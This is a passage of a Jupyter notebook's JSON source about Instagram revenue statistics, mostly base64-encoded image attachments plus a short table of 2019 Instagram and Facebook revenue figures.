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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Key Instagram Revenue Statistics\n", + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Instagram ad revenue as a share of total Facebook revenue" + ] + }, + { + "cell_type": "code", + "execution_count": 40, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " (2019)Instagram (2019)Facebook Total(2019)Facebook_revenue\n", + "0 20 70 71\n" + ] + }, + { + "data": { + "image/png": "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